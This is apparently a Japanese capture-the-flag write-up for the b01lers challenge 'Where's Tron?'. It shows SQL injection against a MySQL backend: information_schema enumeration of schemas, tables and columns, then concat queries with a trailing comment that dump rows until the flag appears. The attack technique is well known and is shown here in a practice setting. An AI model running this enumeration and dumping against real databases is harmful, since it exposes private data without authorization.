Where's Tron?
We've lost Tron on the grid, find him using this uplink!
http://chal.ctf.b01lers.com:3004
server.py
SQLを色々試す
コードを見ると、クエリの末尾にLIMIT 20;
を付けて応答が得られる。
MySQLが動いているっぽいので、色々入れて中身を見てみよう。
select @@version
-> 5.7.31
select distinct table_schema from information_schema.tables
-> information_schema, grid
select table_name from information_schema.tables where table_schema='grid'
-> known_isomorphic_algorithms,programs,to_derezz
select column_name from information_schema.columns where table_name='known_isomorphic_algorithms'
-> id,name,status,location
他のテーブルもこのカラム
select concat(id,'_',name,'_',status,'_',location) from known_isomorphic_algorithms #
で全部取ってきてもflag{???}のものはない。
select concat(id,'_',name,'_',status,'_',location) from programs #
で全部取ってくると、フラグを見つけることができた。
flag{I_fight_for_the_users_and_yori}